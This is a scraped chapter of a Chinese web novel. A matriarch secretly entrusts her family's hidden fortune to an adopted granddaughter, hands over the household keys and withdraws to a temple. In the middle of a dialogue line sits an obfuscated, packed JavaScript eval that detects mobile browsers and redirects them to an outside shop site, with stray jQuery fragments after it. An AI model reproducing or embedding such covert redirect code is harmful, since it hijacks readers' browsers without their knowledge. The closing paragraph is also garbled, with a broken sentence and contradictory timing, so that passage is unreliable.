文趣网 > 其他小说 > 风雨同舟渡山河 > 147.沈老夫人放手,逼儿孙成长
    夜风起,带着秋的微凉,穿过沈府空寂的廊檐,把廊下最后一盏未熄的灯笼吹得摇摇晃晃。

    沈老夫人坐在自己卧房的小佛堂里,面前摊着一本泛黄的账册,樟木箱子的钥匙就搁在账册旁边。

    那钥匙冰凉,她握了大半辈子,从儿媳熬成婆,从婆熬成老封君,如今终于要交出去了。

    如果不是沈十安闹出这么一场退婚的荒唐事,此刻她应该是在张灯结彩地布置喜堂,亲手为宋含章备下那套她压箱底攒了大半辈子的赤金头面——凤冠霞帔,八抬大轿,把那轮明月风风光光地迎进沈家。可如今,这些都用不上了。

    她与贴身嬷嬷把沈家保命的家底悉数装进一个樟木箱里。

    这些东西一半是金银细软,还有一半是不显眼却真正值钱的东西:几处不起眼的田庄地契,六间位置好又铺面宽敞的老字号铺子,一些早年随嫁过来、从未戴过的古玉和珠翠,还有几卷她年轻时亲手抄录的沈家祖传的酿酒秘法。

    这些东西,是沈家风雨飘摇中还能起死回生的唯一底牌。她一步一步精打细算,一点一点积攒下来,瞒了儿子,瞒了儿媳,瞒了孙子,只为了等宋含章过门后,把这些东西全数交到那个会精打细算的姑娘手里。

    可沈十安亲自把宋含章这一轮明月推远了,把这一颗福星弄丢了。

    这个家底她断然不会交给儿媳张氏——张氏的头脑精明不足、愚蠢有余,手又松得像漏勺,若这些家底到了她手里,不出半年便会被败得精光。

    夜一点一点沉下去。

    嬷嬷把床铺好,走到她身边轻声说天色已深,催她歇息。沈老夫人点了点头,却没有立刻起身,只是又看了那樟木箱子一眼。

    第二日清晨,天刚蒙蒙亮,沈老夫人便让人暗中把那只樟木箱子抬上马车。车夫和嬷嬷一起使力,箱子沉得在车厢底板上发出闷沉的一声响。她自己换了一身素净的衣衫,只带了嬷嬷,车夫鞭子一扬,马车朝着宋府辘辘驶去。

    宋府里,宋朗和宋蕴还在梦中,两个小家伙挤在一张小床上,鼻息匀匀的。

    大人已早起各司其职——

    宋含章坐在房间里绘制着宋府的舆图,她要把宋府每一个角落都标上机关陷阱的位置,以备不虞。

    前厅院里,宋夫人正在制香,白梅正在捣花泥制胭脂,宋引章在一旁给她们打下手。

    后院里,肖朗劈柴,春夏做早食。

    沈老夫人的马车停在了宋府门口。

    嬷嬷扶着她下车,上前敲门。

    宋府的门虚掩着——如今宋家已没什么值钱东西怕偷,春夏说这样方便街坊邻里来串门。

    嬷嬷敲了三下,无人应;敲了六下,无人应;敲了九下,还是无人应。

    沈老夫人回头看了一眼马车,语气平静却不容置疑:“把车上的箱子抬下来,随我搬进宋府。”

    车夫赶紧去抬箱子,咬牙使了好大的劲才把那只樟木箱子扛上肩。

    沈老夫人亲自推开虚掩的门,带着车夫、嬷嬷和那个箱子踏进了宋府。

    前厅院里,宋夫人正低头筛着沉香粉,抬头看见沈老夫人带着人抬着一只沉甸甸的木箱子走进来,惊愕得手中的筛子差点脱手。

    她赶紧起身相迎,手上还沾着香粉,也顾不上擦。

    沈老夫人拉着她的手,声音温和而急切:“明玉,我不请自来,还望见谅。团团可还在?我来找团团。”

    宋夫人说还在,便亲自把沈老夫人带到了宋含章的院里。

    既然沈老夫人是来找团团的,宋夫人旋即便离开了,离开时眉头微微皱着——那只箱子太沉了,她心里隐隐猜到了什么。

    宋含章看见沈老夫人亲自来了,赶紧放下手中的舆图和炭笔,请她坐下,亲手奉茶。

    沈老夫人接过茶盏呷了一口,然后看了嬷嬷和车夫一眼。

    嬷嬷会意,带着车夫无声地退到了院门外。

    房间里只剩下她们两个人。

    樟木箱子搁在屋子正中,沈老夫人紧紧拉着宋含章的手,声音里带着一种从未有过的平静:“团团,祖母决定把掌家之权交给十安的母亲,离开这尘世的纷扰,到万宁寺住去了。这京城里的热闹、沈府里的一地鸡毛,祖母都不想管了。”

    宋含章听了,满眼疑惑,问她放心得下沈家人吗。

    沈老夫人淡然一笑,那笑容里有苦涩,也有释然:“祖母大半辈子都是为沈家而活,到头来沈家之人个个不成器。儿子懦弱,儿媳愚蠢,孙子纨绔——我苦心经营了一辈子,他们却在后面拆了一辈子。眼不见为净。我守了沈家这么多年,该歇歇了。”

    她说完,指着那只樟木箱子,声音比方才更低了些,也更郑重了些:“这个箱子里,装着沈家保命的家底。有些金银,有些实实在在能生钱的东西——田庄、铺子、古玉、祖传的酿酒方子。这些东西他们不知道,我也不打算让他们知道。祖母现在把它交给你来保管。如果十安彻底醒悟悔过,改邪归正,你就把这些慢慢地交给他。如果他继续执迷不悟,等他们吃不上饭的时候,你再拿一些出来救济救济他们——让他们饿不死就行。”

    宋含章听了,赶紧推辞,声音急切:“祖母,这是沈家的家底,我一个外人怎能保管。您把它交给沈夫人,或者直接交给十安——”

    沈老夫人紧紧握着她的手不放,那双苍老而有力的手用一种让人无法拒绝的力道攥着她的手背:“团团,你是我的孙女,也算半个沈家人,帮哥哥保管家底,是理所当然的事。别拒绝祖母,好吗?祖母在这世上能信得过的人,除了你,已经没有了。”

    宋含章看着祖母那诚恳的眼神、那满头的白发、那脸上深深的皱纹,鼻子一酸。

    她点了点头,郑重地答应了。

    她看着那只樟木箱子,心里百感交集——祖母把沈家最后的底牌交给自己这个外人来保管,可想而知她对沈夫人和沈十安是多么的失望。

    既然祖母托付,她必定做到。

    沈老夫人看着宋含章,从心底发出了笑,是连日来第一次真正舒展眉头的笑。

    离开宋府后,沈老夫人没有直接回沈府,而是让车夫驱车前往王谦的小屋——随心堂。

    随心堂坐落在城东一条僻静的巷子里,门前种着一丛修竹,风过时沙沙作响。

    恰逢王谦休沐,此刻他正在院中与儿子王修安对弈。

    棋盘上黑白交错,王修安拈着一枚黑子迟迟未落,眉头微蹙,正在苦思破局之策。

    沈老夫人的马车停在随心堂门前,她亲自递上拜帖。

    门房接过拜帖转身来到院中,将帖子递给王谦。

    王谦展开一看,是沈老夫人,看了一眼儿子,放下手中棋子便起身亲自去迎接。

    王修安也一同前去。

    随心堂门口,王谦与沈老夫人寒暄了一番,便领着她来到前厅落座。

    沈老夫人没有多余的客套,开门见山地说道:“王先生是当朝大儒,修安又是皇子们的先生。承蒙皇上看重,不成器的十安才得以入宫做了伴读。老身决定放下沈府之事,去万宁寺寻一片安静的天地。以后,还请你们帮老身多关照十安,严厉对待他,让他早日

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715298|206141||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    醒悟,走上正途。”

    王谦和儿子听了都倍感震惊——沈老夫人这是要归隐佛门。王谦放下茶盏,沉吟片刻,缓缓说道:“心不静,哪里能寻到宁静的天地?老夫人,沈府离了您,怕是不行啊。”

    沈老夫人平和地摇了摇头,声音里带着一种看透了世事之后的淡然:“几十年来,老身撑起沈家,但也把沈家人保护得太好,没有把儿子、孙子、儿媳教养好,实在是愧对陛下和沈家的列祖列宗。以前老身总以为沈镇太软弱、十安不懂事,现在想想,皆是老身庇护过多才导致的。”

    “所谓宝剑锋从磨砺出,梅花香自苦寒来。如今老身得放手了,让他们自己去经历风雨磨难。十安本性不坏,就是被惯坏了,从未吃过苦,从未担过责。如果老身放手,沈家还有希望;如果老身不放手,沈家真的没有任何希望了。”

    王谦和王修安听了,心里五味杂陈——既敬佩老夫人的决绝,又心疼她这把年纪还要用这种方式来逼儿孙成长。

    沈老夫人站起来,看着王谦和王修安,深深鞠了一躬,声音里带上了几分恳切:“王先生,修安,十安就拜托你们了。”

    王谦和王修安赶紧起身将她扶起,父子俩相视一眼,郑重地答应了。

    沈老夫人离开随心堂后便回了沈府。

    暮色时分,她把儿子沈镇、儿媳张氏、孙子沈十安,以及沈镇的三个妾室都叫到了前厅。

    她坐在高堂之上,目光平静地从每一个人脸上扫过——儿子低着头不敢看她,儿媳攥着帕子眼角压不住地往上翘,孙子那双眼睛还肿着却已经在偷偷打量祖母的表情。

    她看了一圈,然后开口,语气平淡得像一杯凉白开:“你们别说话,听我说完。我老了,沈家我也不想管了。我要去万宁寺住,再也不回来了。你们好自为之吧。”她站起来,把手里的中馈钥匙——那串她攥了大半辈子的铜钥匙,冰凉的,沉甸甸的——递到张氏面前,声音依旧是那般平静,听不出任何波澜:“从今日起,这掌家之权,就交给你了。”

    说完,她转身离开了前厅,拐杖敲在青石地面上发出一下一下沉闷的响声,从头到尾没有回一次头。

    张氏颤抖着接过钥匙,那是兴奋的颤抖,不是紧张,更不是愧疚。

    那串钥匙在她掌心里叮当作响,她攥紧了又松开,松开了又攥紧,嘴角压不住地往上翘——她盼这串钥匙盼了十几年了。

    沈镇面上装作舍不得,眼角甚至还挤出了一点泪光,可心里却乐开了花,暗暗盘算着以后再也没有人天不亮就催他起身上值,再也没有人在他耳边唠叨沈家的门楣、沈家的前程,他想睡到什么时候便睡到什么时候。

    沈十安也知晓祖母不会再管他了,心里也高兴起来——他那些藏在后院的书、偷偷攒下的银子、打算再去醉花间找如梦姑娘的心思,再也没有人会拦着、盯着、派人来抓他回家了。

    他脸上还挂着伤,可嘴角已经不自觉地浮起了笑意。

    那笑意很轻,轻到没有人注意到,可它就在那里,像一个终于挣脱了笼子的纨绔子弟最真实的模样。

    第二日清晨,沈镇、张氏沈老夫人走出前厅,没有回头。拐杖一下一下杵在青石地面上,声音在回廊里传出去很远。她上了马车,带着嬷嬷和几件换洗衣裳,在暮色中离开了这座她守了五十多年的府邸。马车穿过长街时,她捞起车帘,最后望了一眼沈府门楣上那块“敕造沈国公府”的匾额。然后她放下帘子,闭上眼睛,捻动着手里的佛珠,嘴角浮起一抹极淡的笑意——从今往后,她是方外之人,沈家的兴衰,她再也不管了。